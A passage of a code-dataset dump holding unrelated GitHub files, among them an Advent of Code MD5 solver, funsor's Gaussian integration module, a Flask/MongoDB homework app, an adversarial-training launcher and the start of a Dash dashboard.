'simtel'\n metadata['tel_sim_prog_version'] = self.version\n\n mdjson = json.dumps( metadata )\n\n metadatafield = {'array_layout':'VARCHAR(128)', 'site':'VARCHAR(128)', 'particle':'VARCHAR(128)', \\\n 'phiP':'float', 'thetaP': 'float', 'tel_sim_prog':'VARCHAR(128)', 'tel_sim_prog_version':'VARCHAR(128)'}\n\n mdfieldjson = json.dumps( metadatafield )\n\n filemetadata = {'runNumber': self.run_number }\n\n fmdjson = json.dumps( filemetadata )\n\n ### Temporary fix: since the deployed script does not have the correct format for arguments\n # dmStep = self.setExecutable( '$DIRACROOT/scripts/cta-prod3-managedata',\n dmStep = self.setExecutable( '$DIRACROOT/CTADIRAC/Core/scripts/cta-prod3-managedata.py',\n arguments = \"'%s' '%s' '%s' %s %s %s\" % ( mdjson, mdfieldjson, fmdjson, self.inputpath, self.basepath, self.start_run_number ),\n logFile = 'DataManagement_Log.txt' )\n dmStep['Value']['name'] = 'Step%i_DataManagement' % iStep\n dmStep['Value']['descr_short'] = 'Save files to SE and register them in DFC'\n iStep += 1\n\n # Do not merge SCT as this requires too much memory \n # number of showers is passed via an environment variable\n self.setExecutionEnv( {'NSHOW' : '%s' % self.nShower,\\\n 'NO_SCT_MERGE' : 1} )\n\n","repo_name":"cta-observatory/CTADIRAC","sub_path":"Interfaces/API/Prod3MCJob.py","file_name":"Prod3MCJob.py","file_ext":"py","file_size_in_byte":10458,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"23"} +{"seq_id":"70635953658","text":"import hashlib\nm = hashlib.md5()\nsecret = input(\"Secret key: \")\ncode = 0\nadvent5Found = False\n\nwhile True:\n\tcode += 1\n\ttest = secret + str(code)\n\tm = hashlib.md5()\n\tm.update(test.encode('utf-8'))\n\tresult = str(m.hexdigest())\n\tif result.startswith(\"00000\") and not advent5Found:\n\t\tadvent5 = str(code)\n\t\tadvent5Found = True\n\tif result.startswith(\"000000\"):\n\t\tadvent6 = str(code)\n\t\tbreak\nprint(\"AdventCoin 5 zero: \" + advent5)\nprint(\"AdventCoin 6 zero: \" + advent6)","repo_name":"caw13/adventofcode","sub_path":"python/day_four.py","file_name":"day_four.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"11135446404","text":"# 4,windows下使用跨平台模块 multiprocessing\n# 编写多进程应用程序\n# 结合getpid getppid()方法编码验证父子进程id\n\nfrom multiprocessing import Process\nimport os\n\ndef Fun2(j):\n print(\"pid21 %s,pid12 %s\" % (os.getpid(), os.getppid()))\n print(j)\ndef Fun1(i,num):\n print(\"pid12 %s,pid1 %s\"%(os.getpid(),os.getppid()))\n num+=2\n print(i,\"num %s\"%(num))\n # 在产生一个子进程\n p2=Process(target=Fun2,args=(13,))\n # 启动子进程\n p2.start()\n # join方法:子进程结束后,在执行下面的\n p2.join()\n print(\"KKKKK\")\n\n\n# 此处查看进程号\n\n# 启动进程分裂\nif __name__ == '__main__':\n num=0\n pid1 = os.getpid()\n print(pid1, \"---\")\n # 产生一个子进程\n p = Process(target=Fun1,args=(12,num))\n p.start()\n # 子进程结束后执行后续主进程\n p.join()\n print( \"num %s\" % (num))\n print(\"++++\")","repo_name":"123456thomas/python_learn","sub_path":"pythonsup/py04.py","file_name":"py04.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"12671734912","text":"def manipulate_string():\n vowels = 'AEIOU'\n \n word_1 = input(\"Digite a primeira palavra: \").upper()\n word_2 = input(\"Digite a segunda palavra: \").lower()\n word_3 = input(\"Digite a terceira palavra: \")\n \n for i in vowels:\n word_3 = word_3.upper().replace(i, '')\n\n print(f'{word_1}, {word_2}, {word_3}')\n\nmanipulate_string()\n","repo_name":"devcarlosl/globotech-exercises-python","sub_path":"01-string-manipulate/ex-strings.py","file_name":"ex-strings.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"4225710737","text":"from string import ascii_uppercase as alphabets\nfrom functools import reduce\nletters = input()\nto_div = len(letters) // 2\nlet_1 = letters[:to_div]\nlet_2 = letters[to_div:]\nrot_1 = 0\nrot_2 = 0\nfor item in list(let_1):\n\trot_1 += alphabets.index(item)\nfor item in list(let_2):\n\trot_2 += alphabets.index(item)\ndef rotate(letter,pos_value):\n\tdes_rot = alphabets.index(letter) + pos_value\n\tfactor = des_rot // len(alphabets)\n\tif des_rot <= len(alphabets)-1:\n\t\treturn alphabets[des_rot]\n\treturn alphabets[des_rot - (factor*len(alphabets))]\nfirst = ''\nsecond = ''\nfor item in list(let_1):\n\tfirst += rotate(item,rot_1)\nfor item in list(let_2):\n\tsecond += rotate(item,rot_2)\nnew = ''\nfor i in range(0,len(first)):\n\tnew += rotate(first[i],alphabets.index(second[i]))\nprint(new)\n","repo_name":"pemtshewang/KattisSolution2021","sub_path":"drmmessage.py","file_name":"drmmessage.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"5250689508","text":"from collections import OrderedDict\nfrom functools import reduce\nfrom typing import Tuple, Union\n\nimport funsor.ops as ops\nfrom funsor.cnf import Contraction, GaussianMixture\nfrom funsor.constant import Constant\nfrom funsor.delta import Delta\nfrom funsor.gaussian import Gaussian, _norm2, _vm, align_gaussian\nfrom funsor.interpretations import eager, normalize\nfrom funsor.tensor import Tensor\nfrom funsor.terms import (\n Funsor,\n FunsorMeta,\n Number,\n Subs,\n Unary,\n Variable,\n _convert_reduced_vars,\n substitute,\n to_funsor,\n)\n\n\nclass IntegrateMeta(FunsorMeta):\n \"\"\"\n Wrapper to convert reduced_vars arg to a frozenset of str.\n \"\"\"\n\n def __call__(cls, log_measure, integrand, reduced_vars):\n inputs = log_measure.inputs.copy()\n inputs.update(integrand.inputs)\n reduced_vars = _convert_reduced_vars(reduced_vars, inputs)\n return super().__call__(log_measure, integrand, reduced_vars)\n\n\nclass Integrate(Funsor, metaclass=IntegrateMeta):\n \"\"\"\n Funsor representing an integral wrt a log density funsor.\n\n :param Funsor log_measure: A log density funsor treated as a measure.\n :param Funsor integrand: An integrand funsor.\n :param reduced_vars: An input name or set of names to reduce.\n :type reduced_vars: str, Variable, or set or frozenset thereof.\n \"\"\"\n\n def __init__(self, log_measure, integrand, reduced_vars):\n assert isinstance(log_measure, Funsor)\n assert isinstance(integrand, Funsor)\n assert isinstance(reduced_vars, frozenset)\n assert all(isinstance(v, Variable) for v in reduced_vars)\n reduced_names = frozenset(v.name for v in reduced_vars)\n inputs = OrderedDict(\n (k, d)\n for term in (log_measure, integrand)\n for (k, d) in term.inputs.items()\n if k not in reduced_names\n )\n output = integrand.output\n fresh = frozenset()\n bound = {v.name: v.output for v in reduced_vars}\n super(Integrate, self).__init__(inputs, output, fresh, bound)\n self.log_measure = log_measure\n self.integrand = integrand\n self.reduced_vars = reduced_vars\n\n def _alpha_convert(self, alpha_subs):\n assert set(self.bound).issuperset(alpha_subs)\n reduced_vars = frozenset(\n Variable(alpha_subs.get(v.name, v.name), v.output)\n for v in self.reduced_vars\n )\n alpha_subs = {\n k: to_funsor(\n v, self.integrand.inputs.get(k, self.log_measure.inputs.get(k))\n )\n for k, v in alpha_subs.items()\n }\n log_measure = substitute(self.log_measure, alpha_subs)\n integrand = substitute(self.integrand, alpha_subs)\n return log_measure, integrand, reduced_vars\n\n\n@normalize.register(Integrate, Funsor, Funsor, frozenset)\ndef normalize_integrate(log_measure, integrand, reduced_vars):\n return Contraction(ops.add, ops.mul, reduced_vars, log_measure.exp(), integrand)\n\n\n@normalize.register(\n Integrate,\n Contraction[Union[ops.NullOp, ops.LogaddexpOp], ops.AddOp, frozenset, tuple],\n Funsor,\n frozenset,\n)\ndef normalize_integrate_contraction(log_measure, integrand, reduced_vars):\n reduced_names = frozenset(v.name for v in reduced_vars)\n delta_terms = [\n t\n for t in log_measure.terms\n if isinstance(t, Delta)\n and t.fresh.intersection(reduced_names, integrand.inputs)\n ]\n for delta in delta_terms:\n delta_fresh = frozenset(Variable(k, delta.inputs[k]) for k in delta.fresh)\n args = delta, integrand, delta_fresh\n integrand = eager.dispatch(Integrate, *args)(*args)\n return normalize_integrate(log_measure, integrand, reduced_vars)\n\n\nEagerConstant = Constant[\n Tuple,\n Union[\n Variable,\n Delta,\n Gaussian,\n Unary[ops.NegOp, Gaussian],\n Number,\n Tensor,\n GaussianMixture,\n ],\n]\n\n\n@eager.register(\n Contraction,\n ops.AddOp,\n ops.MulOp,\n frozenset,\n Unary[ops.ExpOp, Union[GaussianMixture, Delta, Gaussian, Number, Tensor]],\n (\n Variable,\n Delta,\n Gaussian,\n Unary[ops.NegOp, Gaussian],\n Number,\n Tensor,\n GaussianMixture,\n EagerConstant,\n ),\n)\ndef eager_contraction_binary_to_integrate(red_op, bin_op, reduced_vars, lhs, rhs):\n reduced_names = frozenset(v.name for v in reduced_vars)\n if not (reduced_names.issubset(lhs.inputs) and reduced_names.issubset(rhs.inputs)):\n args = red_op, bin_op, reduced_vars, (lhs, rhs)\n result = eager.dispatch(Contraction, *args)(*args)\n if result is not None:\n return result\n\n args = lhs.log(), rhs, reduced_vars\n result = eager.dispatch(Integrate, *args)(*args)\n if result is not None:\n return result\n\n return None\n\n\n@eager.register(Integrate, GaussianMixture, Funsor, frozenset)\ndef eager_integrate_gaussianmixture(log_measure, integrand, reduced_vars):\n real_vars = frozenset(v for v in reduced_vars if v.dtype == \"real\")\n if reduced_vars <= real_vars:\n discrete, gaussian = log_measure.terms\n return discrete.exp() * Integrate(gaussian, integrand, reduced_vars)\n return None\n\n\n########################################\n# Delta patterns\n########################################\n\n\n@eager.register(Integrate, Delta, Funsor, frozenset)\ndef eager_integrate(delta, integrand, reduced_vars):\n delta_fresh = frozenset(Variable(k, delta.inputs[k]) for k in delta.fresh)\n if reduced_vars.isdisjoint(delta_fresh):\n return None\n reduced_names = frozenset(v.name for v in reduced_vars)\n subs = tuple(\n (name, point)\n for name, (point, log_density) in delta.terms\n if name in reduced_names\n )\n new_integrand = Subs(integrand, subs)\n new_log_measure = Subs(delta, subs)\n result = Integrate(new_log_measure, new_integrand, reduced_vars - delta_fresh)\n return result\n\n\n########################################\n# Gaussian patterns\n########################################\n\n\n@eager.register(Integrate, Gaussian, Variable, frozenset)\ndef eager_integrate_gaussian_variable(log_measure, integrand, reduced_vars):\n real_input_vars = frozenset(v for v in log_measure.input_vars if v.dtype == \"real\")\n real_vars = reduced_vars & real_input_vars\n if real_vars == frozenset([integrand]):\n if real_vars != real_input_vars:\n return None # TODO implement this\n loc = log_measure._mean\n data = loc * ops.unsqueeze(ops.exp(log_measure._log_normalizer), -1)\n data = data.reshape(loc.shape[:-1] + integrand.output.shape)\n inputs = OrderedDict(\n (k, d) for k, d in log_measure.inputs.items() if d.dtype != \"real\"\n )\n result = Tensor(data, inputs)\n return result.reduce(ops.add, reduced_vars - real_vars)\n return None # defer to default implementation\n\n\n@eager.register(Integrate, Gaussian, Gaussian, frozenset)\ndef eager_integrate_gaussian_gaussian(log_measure, integrand, reduced_vars):\n assert log_measure.is_full_rank\n reduced_names = frozenset(v.name for v in reduced_vars)\n real_vars = frozenset(v.name for v in reduced_vars if v.dtype == \"real\")\n if real_vars:\n lhs_reals = frozenset(\n k for k, d in log_measure.inputs.items() if d.dtype == \"real\"\n )\n rhs_reals = frozenset(\n k for k, d in integrand.inputs.items() if d.dtype == \"real\"\n )\n if lhs_reals == real_vars and rhs_reals <= real_vars:\n inputs = OrderedDict(\n (k, d) for t in (log_measure, integrand) for k, d in t.inputs.items()\n )\n lhs_white_vec, lhs_prec_sqrt = align_gaussian(inputs, log_measure)\n rhs_white_vec, rhs_prec_sqrt = align_gaussian(inputs, integrand)\n lhs = Gaussian(\n white_vec=lhs_white_vec, prec_sqrt=lhs_prec_sqrt, inputs=inputs\n )\n\n # Compute the expectation of a non-normalized quadratic form.\n # See \"The Matrix Cookbook\" (November 15, 2012) ss. 8.2.2 eq. 380.\n # http://www.math.uwaterloo.ca/~hwolkowi/matrixcookbook.pdf\n # If x ~ N(mean,cov) then\n # E[(x-m)' A (x-m)] = (m-mean)'A(m-mean) + Tr(A cov) # eq. 380\n # To perform this computation in rhs's internal space, we first transform\n # lhs to rhs's whitened space\n mean = _vm(lhs._mean, rhs_prec_sqrt)\n norm = ops.exp(lhs._log_normalizer)\n # Then in rhs's whitened space, A = I so Tr(A cov) = Tr(cov).\n vmv_term = _norm2(rhs_white_vec - mean)\n trace_term = (\n (ops.triangular_solve(rhs_prec_sqrt, lhs._precision_chol) ** 2)\n .sum(-1)\n .sum(-1)\n )\n data = (-0.5) * norm * (vmv_term + trace_term)\n\n inputs = OrderedDict(\n (k, d) for k, d in inputs.items() if k not in reduced_names\n )\n result = Tensor(data, inputs)\n return result.reduce(ops.add, reduced_names - real_vars)\n\n raise NotImplementedError(\"TODO implement partial integration\")\n\n return None # defer to default implementation\n\n\n@eager.register(Integrate, Gaussian, Unary[ops.NegOp, Gaussian], frozenset)\ndef eager_integrate_neg_gaussian(log_measure, integrand, reduced_vars):\n return -Integrate(log_measure, integrand.arg, reduced_vars)\n\n\n@eager.register(\n Integrate,\n Gaussian,\n Contraction[\n ops.NullOp,\n ops.AddOp,\n frozenset,\n Tuple[Union[Gaussian, Unary[ops.NegOp, Gaussian]], ...],\n ],\n frozenset,\n)\ndef eager_distribute_integrate(log_measure, integrand, reduced_vars):\n return reduce(\n ops.add,\n [\n -Integrate(log_measure, term.arg, reduced_vars)\n if isinstance(term, Unary)\n else Integrate(log_measure, term, reduced_vars)\n for term in integrand.terms\n ],\n )\n\n\n__all__ = [\n \"Integrate\",\n]\n","repo_name":"pyro-ppl/funsor","sub_path":"funsor/integrate.py","file_name":"integrate.py","file_ext":"py","file_size_in_byte":10023,"program_lang":"python","lang":"en","doc_type":"code","stars":225,"dataset":"github-code","pt":"23"} +{"seq_id":"29568442839","text":"from flask import Flask, render_template, jsonify, request\napp = Flask(__name__)\n\nfrom pymongo import MongoClient # pymongo를 임포트 하기(패키지 인스톨 먼저 해야겠죠?)\nclient = MongoClient('localhost', 27017) # mongoDB는 27017 포트로 돌아갑니다.\ndb = client.dbsparta # 'dbsparta'라는 이름의 db를 만듭니다.\n\n## HTML을 주는 부분\n@app.route('/')\ndef home():\n return render_template('20200530_homework_week4.html')\n\n## API 역할을 하는 부분\n@app.route('/orders', methods=['POST'])\ndef write_review():\n # 1. 클라이언트가 준 title, author, review 가져오기.\n # title_receive로 클라이언트가 준 title 가져오기\n name_receive = request.form['name_give']\n color_receive = request.form['color_give']\n number_receive = request.form['number_give']\n address_receive = request.form['address_give']\n tel_receive = request.form['tel_give']\n\n\t# 2. DB에 정보 삽입하기\n order = {\n 'name': name_receive,\n 'color': color_receive,\n 'number': number_receive,\n 'address': address_receive,\n 'tel': tel_receive,\n\n }\n\n print(\"print-write_review\",order)\n # reviews에 review 저장하기\n db.orders.insert_one(order)\n return jsonify({'result':'success', 'msg': '주문이 완료되었습니다'})\n\n@app.route('/orders', methods=['GET'])\ndef read_orders():\n # 1. 모든 reviews의 문서를 가져온 후 list로 변환합니다.\n orders = list(db.orders.find({},{'_id':0}))\n\t# 2. 성공 메시지와 함께 리뷰를 보냅니다.\n return jsonify({'result':'success', 'orders': orders})\n\n\nif __name__ == '__main__':\n app.run('0.0.0.0', port=5000, debug=True)","repo_name":"choijeongsu/sparta","sub_path":"homework/homework_week4/homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"24587630598","text":"# in order to be able to solve based on problem stateement only allow it to break apart simpler terms\n\"\"\"\ncreate report for me\ngoes online searches based on how i would do it\ngive template language\n\n#reward function close as possible to what we would have gotten\n#file search\n#answer questions\n\n\n1}internet-search\n2}internet-open_url\n3}internet-collect data\n4}word complete data learnt\n\"\"\"\n\nfrom sklearn.metrics.pairwise import cosine_similarity\n\naction = [\"leave\", \"take\"]\nfrom gym import Env\nfrom gym.spaces import Discrete, Box\nimport numpy as np\nfrom sentence_transformers import SentenceTransformer\n\nemodel = SentenceTransformer('bert-base-nli-mean-tokens')\n\n\nclass Online_Data_Env(Env):\n def __init__(self, max):\n # Actions we can take, down, stay, up\n self.action_space = Discrete(2)\n self.max = max\n # Temperature array\n self.observation_space = Box(low=np.array([0]), high=np.array([700]))\n # Set start temp\n self.state = 1\n # Set shower length\n self.links_length = max\n\n def step(self, cosine_factor, action):\n\n # Apply action\n # 0 -1 = -1 temperature\n # 1 -1 = 0\n # 2 -1 = 1 temperature\n self.state += action\n # Reduce shower length by 1 second\n self.links_length -= 1\n\n # Calculate reward\n val_confirm = (self.max - self.links_length + 1) / self.state * cosine_factor * (\n self.max - self.links_length) / self.max\n # progress bound to\n # run twice but invert list\n print(val_confirm)\n if val_confirm >= 0.7:\n reward = 1\n else:\n reward = -1\n\n # Check if shower is done\n if self.links_length <= 0:\n done = True\n else:\n done = False\n\n # Apply temperature noise\n # self.state += random.randint(-1,1)\n # Set placeholder for info\n info = {}\n\n # Return step information\n return val_confirm, reward, done, info\n\n def render(self):\n # Implement viz\n pass\n\n def reset(self):\n # Reset shower temperature\n return self.state\n\n\ndef _main(env, i):\n state = env.reset()\n test = \"lovely\"\n done = False\n score = 0\n cosine_factor = cosine_similarity([emodel.encode(test)], [emodel.encode(i)])[0][0]\n # print(cosine_factor)\n if cosine_factor >= 0.69:\n action = 1\n else:\n action = 0\n n_state, reward, done, info = env.step(cosine_factor, action)\n\n return n_state\n\n\nlist_test = [\"love\", \"lovely\", \"hate\"]\n\n\ndef main(list_test):\n env = Online_Data_Env(len(list_test))\n # this script is essential for data but\n values = [_main(env, i) for i in list_test]\n list_test.reverse()\n values.reverse()\n values = np.average([values, [_main(env, i) for i in list_test]], axis=0)\n print(values)\n values = zip(values, list_test)\n values = sorted(values, key=lambda x: x[1], reverse=True)\n print(values)\n # return values\n\n\nmain(list_test)\n\n\"\"\"\nvalues = sorted(values, key=values.count, reverse=True)\nprint(values)\nprint(set(values))\n\"\"\"\n# data gathering internet\n# instruction giving\n#shortcut utilization\n# output giving store in terminal\n","repo_name":"elbrava/auto_search","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"25389963616","text":"import argparse\nimport yaml\nimport os\nimport os.path as osp\nimport torch\nfrom shutil import copyfile\nfrom solver import Solver\nfrom data.data_loader import DataWrapper\nimport torch.backends.cudnn as cudnn\nfrom eval import eval\n\ndef get_arguments():\n \"\"\"Parse all the arguments provided from the CLI.\n\n Returns:\n A list of parsed arguments.\n \"\"\"\n parser = argparse.ArgumentParser(description=\"Generalization by Noise\")\n parser.add_argument(\"--gpu\", type=int, nargs='+', default=None, required=True,\n help=\"choose gpu device.\")\n parser.add_argument(\"--yaml\", type=str, default='config.yaml',\n help=\"yaml pathway\")\n parser.add_argument(\"--exp_name\", type=str, default='', required=True,\n help=\"\")\n parser.add_argument(\"--dataset_name\", type=str, default=None, required=False,\n help=\"\")\n parser.add_argument(\"--model_structure\", type=str, default='advGNI', required=True,\n help=\"'base', 'advGNI', 'advGNI_GA', 'Free', 'CURE', 'PGD', 'FGSM', 'FGSM_RS', 'FGSM_GA', 'yopo', 'FGSM_ckpt'\")\n parser.add_argument(\"--resume\", type=str, default=None,\n required=False, help=\"\")\n parser.add_argument(\"--no_auto\", default=False, action='store_true',\n required=False, help=\"\")\n parser.add_argument(\"--pretrain\", default=False, action='store_true',\n required=False, help=\"\")\n parser.add_argument(\"--eta\", type=float, default=None,\n required=False, help=\"Variance\")\n parser.add_argument(\"--PGD_iters\", default=None, type=int, required=False, help=\"\")\n parser.add_argument(\"--batch_size\", default=None, type=int, required=False, help=\"\")\n parser.add_argument(\"--advGNI_iters\", default=None, type=int, required=False, help=\"\")\n parser.add_argument(\"--alpha\", default=None, type=float, required=False, help=\"\")\n parser.add_argument(\"--GA_coeff\", default=None, type=float, required=False, help=\"\")\n parser.add_argument(\"--num_epochs\", type=int, default=None,\n required=False, help=\"\")\n parser.add_argument(\"--lr_milestone\", type=float, nargs='+', default=None, required=False, help=\".\")\n parser.add_argument(\"--schedule\", type=str, default=None, required=False, help=\".\")\n parser.add_argument(\"--lr\", type=float, default=None, required=False, help=\".\")\n\n return parser.parse_args()\n\n\ndef main(config, args):\n \"\"\"Create the model and start the training.\"\"\"\n\n # -------------------------------\n # Setting logging files\n\n snapshot_dir = config['exp_setting']['snapshot_dir']\n log_dir = config['exp_setting']['log_dir']\n exp_name = args.exp_name\n\n snapshot_dir, log_dir = os.path.join(snapshot_dir, exp_name), os.path.join(log_dir, exp_name)\n path_list = [snapshot_dir, log_dir]\n\n for item in path_list:\n if not os.path.exists(item):\n os.makedirs(item)\n\n config['exp_setting']['snapshot_dir'] = snapshot_dir\n config['exp_setting']['log_dir'] = log_dir\n\n # -------------------------------\n # Setting GPU\n\n gpus_tobe_used = ','.join([str(gpuNum) for gpuNum in args.gpu])\n print('gpus_tobe_used: {}'.format(gpus_tobe_used))\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(gpus_tobe_used)\n\n cudnn.enabled = True\n cudnn.benchmark = True\n # -------------------------------\n # Setting Test arguments\n if args.dataset_name is not None:\n print('dataset: ', args.dataset_name)\n config['dataset']['name'] = args.dataset_name\n if args.model_structure is not None:\n structure = args.model_structure\n assert structure in config['model']['baseline']\n print('model: ', structure)\n config['model']['baseline'] = structure\n if args.schedule is not None:\n print('LR schedule: ', args.schedule)\n assert args.schedule == 'cyclic' or args.schedule == 'multistep'\n config['optimizer']['schedule'] = args.schedule\n if args.resume is not None:\n checkpoint = torch.load(args.resume, map_location='cuda:0')\n print('load {}'.format(args.resume))\n if args.eta is not None:\n print('Eta: ', args.eta)\n config['model']['ResNet']['eta'] = args.eta\n if args.PGD_iters is not None:\n print('PGD iters: {}'.format(args.PGD_iters))\n config['model']['PGD']['iters'] = args.PGD_iters\n if args.batch_size is not None:\n dataset_name = config['dataset']['name']\n config['dataset'][dataset_name]['batch_size'] = args.batch_size\n if args.advGNI_iters is not None and args.model_structure == 'advGNI':\n print('{} iters: {}'.format(args.model_structure, args.advGNI_iters))\n config['model'][args.model_structure]['iters'] = args.advGNI_iters\n if args.alpha is not None:\n print('Alpha for hidden layers: {}'.format(args.alpha))\n config['model'][structure]['alpha'] = args.alpha\n if args.GA_coeff is not None:\n print('Coeff for Gradient Alignment: {}'.format(args.GA_coeff))\n config['model']['FGSM_GA']['coeff'] = args.GA_coeff\n if args.num_epochs is not None:\n print('epochs: ', args.num_epochs)\n s = config['optimizer']['schedule']\n config['train']['num_epochs'][s] = args.num_epochs\n if args.lr_milestone is not None:\n print('LR milestones: ', args.lr_milestone)\n config['optimizer']['lr_milestone'] = args.lr_milestone\n if args.lr is not None:\n print('LR: ', args.lr)\n s = config['optimizer']['schedule']\n config['optimizer']['lr'][s] = args.lr\n\n with open(os.path.join(log_dir, 'config.yaml'), 'w') as f:\n yaml.dump(config, f)\n # -------------------------------\n\n dataset = DataWrapper(config)\n solver = Solver(dataset, config)\n\n if args.pretrain:\n solver.pretrain()\n print('Pretraining Finished')\n return\n\n if args.resume is None:\n solver.train()\n else:\n auto=False if args.no_auto else True\n eval(solver, checkpoint, config['model']['ResNet']['eta'], auto, structure)\n\n\n\nif __name__ == '__main__':\n args = get_arguments()\n config = yaml.load(open(args.yaml, 'r'))\n\n main(config, args)\n","repo_name":"ParkGeonYeong/SLAT","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6278,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"40532110809","text":"from typing import List\n\n\nclass Solution:\n def longestCommonPrefix(self, strs: List[str]) -> str:\n if len(strs) == 0:\n return ''\n min_len = min([len(x) for x in strs])\n length = len(strs)\n res = ''\n for i in range(min_len):\n temp = [s[i] for s in strs]\n if len(temp) > 0 and temp == [temp[0]] * length:\n res += temp[0]\n else:\n break\n return res\n\n\nif __name__ == '__main__':\n s = Solution()\n st = [\"flower\",\"flow\",\"flight\"]\n print(s.longestCommonPrefix(st))\n","repo_name":"nicehiro/LeetCode","sub_path":"longest_common_prefix.py","file_name":"longest_common_prefix.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"18994547803","text":"\"\"\"\nUtility functions for loading and preprocessing data for the\nSkySatisfy project.\n\"\"\"\n\nimport logging\nimport logging.config\nimport pandas as pd\n\nfrom backend.config import DATASET_FILE_PATH, LOGGING_CONFIG\n\n\nlogging.config.dictConfig(LOGGING_CONFIG)\n\nCOLUMNS_TO_KEEP = [\n 'satisfaction',\n 'customer_type',\n 'age',\n 'type_of_travel',\n 'class',\n 'flight_distance',\n 'ease_of_online_booking',\n 'online_boarding'\n]\n\nTARGET_COLUMN = 'satisfaction'\nFEATURES = [c for c in COLUMNS_TO_KEEP if c != TARGET_COLUMN]\n\n\ndef load_data(data_path=DATASET_FILE_PATH) -> pd.DataFrame:\n \"\"\"\n Load data from a CSV file.\n\n Parameters:\n - data_path (str): Path to the CSV file.\n\n Returns:\n - pd.DataFrame: Loaded data.\n\n Example:\n >>> df = load_data('data.csv')\n \"\"\"\n try:\n df = pd.read_csv(data_path)\n logging.info(f\"Successfully loaded data from {data_path}\")\n return df\n except FileNotFoundError:\n logging.error(f\"File not found: {data_path}\")\n raise\n except pd.errors.EmptyDataError:\n logging.error(f\"Empty file: {data_path}\")\n raise\n except Exception as e:\n logging.error(f\"An unexpected error occurred: {e}\")\n raise\n\n\ndef preprocess_data(df: pd.DataFrame) -> (pd.DataFrame, pd.Series):\n \"\"\"\n Preprocess the data and return features and target variable.\n\n Parameters:\n - df (pd.DataFrame): Dataframe to preprocess.\n\n Returns:\n - tuple: Feature matrix (pd.DataFrame) and target vector (pd.Series).\n\n Example:\n >>> X, y = preprocess_data(df)\n \"\"\"\n logging.info(\"Preprocessing data\")\n\n try:\n df = df.copy()\n df = _preprocess_column_names(df)\n df = df[COLUMNS_TO_KEEP]\n df = _encode_categorical_features(df)\n\n X = df[[c for c in df.columns if c != TARGET_COLUMN]]\n y = df[TARGET_COLUMN]\n\n logging.info(\"Data preprocessing completed successfully\")\n\n return X, y\n except KeyError as e:\n logging.error(f\"Missing column in data: {e}\")\n raise\n except Exception as e:\n logging.error(\n f\"An unexpected error occurred during preprocessing: {e}\")\n raise\n\n\ndef _preprocess_column_names(df):\n ''' Convert column names to lowercase & replace spaces with underscores'''\n df = df.copy()\n df.columns = df.columns.str.lower().str.replace(' ', '_')\n string_columns = list(df.dtypes[df.dtypes == 'object'].index)\n for col in string_columns:\n df[col] = df[col].str.lower().str.replace(' ', '_')\n return df\n\n\ndef _encode_categorical_features(df):\n \"\"\"Replace string labels with numerical labels.\"\"\"\n df = df.copy()\n df['satisfaction'] = df['satisfaction'].replace({'satisfied': 1,\n 'dissatisfied': 0})\n df['customer_type'] = df['customer_type'].replace({'loyal_customer': 1,\n 'disloyal_customer': 0})\n df['type_of_travel'] = df['type_of_travel'].replace({'business_travel': 1,\n 'personal_travel': 0})\n df = pd.get_dummies(df, columns=['class'], prefix='class')\n return df\n","repo_name":"mizanto/sky-satisfy","sub_path":"backend/utils/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"4618515216","text":"import pandas as pd\n\ndf = pd.read_excel('/Users/berlin/CUHK/text-segmentation/sample labeled by claude.xlsx')\n\npath_prefix = '/Users/berlin/CUHK/text-segmentation/input_data'\n\nfor index, row in df.iterrows():\n\n second_column_data = str(row.iloc[1])\n\n path = path_prefix + '/' + str(index) + '.txt'\n\n with open(path, 'w+') as file:\n file.write(second_column_data)","repo_name":"Berlinsss/text-segmentation","sub_path":"data_extractor.py","file_name":"data_extractor.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"23916962659","text":"import dash\nimport dash_bootstrap_components as dbc\nfrom dash import Input, Output, State, dcc, html, no_update, ctx\nimport diskcache\nimport requests\n\nfrom dash_extensions.enrich import (\n #DashProxy,\n #Dash,\n Output,\n Input,\n State,\n dcc,\n html,\n #ServersideOutput,\n #ServersideOutputTransform,\n #OperatorTransform,\n #Operator,\n #OperatorOutput\n)\nimport plotly.graph_objs as go\n\nimport pages.data_table as data_table\nimport pages.status as status\n\n\ncache = diskcache.Cache(\"./cache\")\nbackground_callback_manager = dash.DiskcacheManager(cache)\n\n\napp = dash.Dash(\n external_stylesheets=[dbc.themes.BOOTSTRAP],\n meta_tags=[\n {\"name\": \"viewport\", \"content\": \"width=device-width, initial-scale=1\"}\n ],\n suppress_callback_exceptions=True,\n update_title=None,\n prevent_initial_callbacks=True,\n background_callback_manager=background_callback_manager\n)\n\n\n\n# we use the Row and Col components to construct the sidebar header\n# it consists of a title, and a toggle, the latter is hidden on large screens\nsidebar_header = dbc.Row(\n [\n dbc.Col(html.H2(\"DataForge\", className=\"display-4\")),\n dbc.Col(\n [\n html.Button(\n # use the Bootstrap navbar-toggler classes to style\n html.Span(className=\"navbar-toggler-icon\"),\n className=\"navbar-toggler\",\n # the 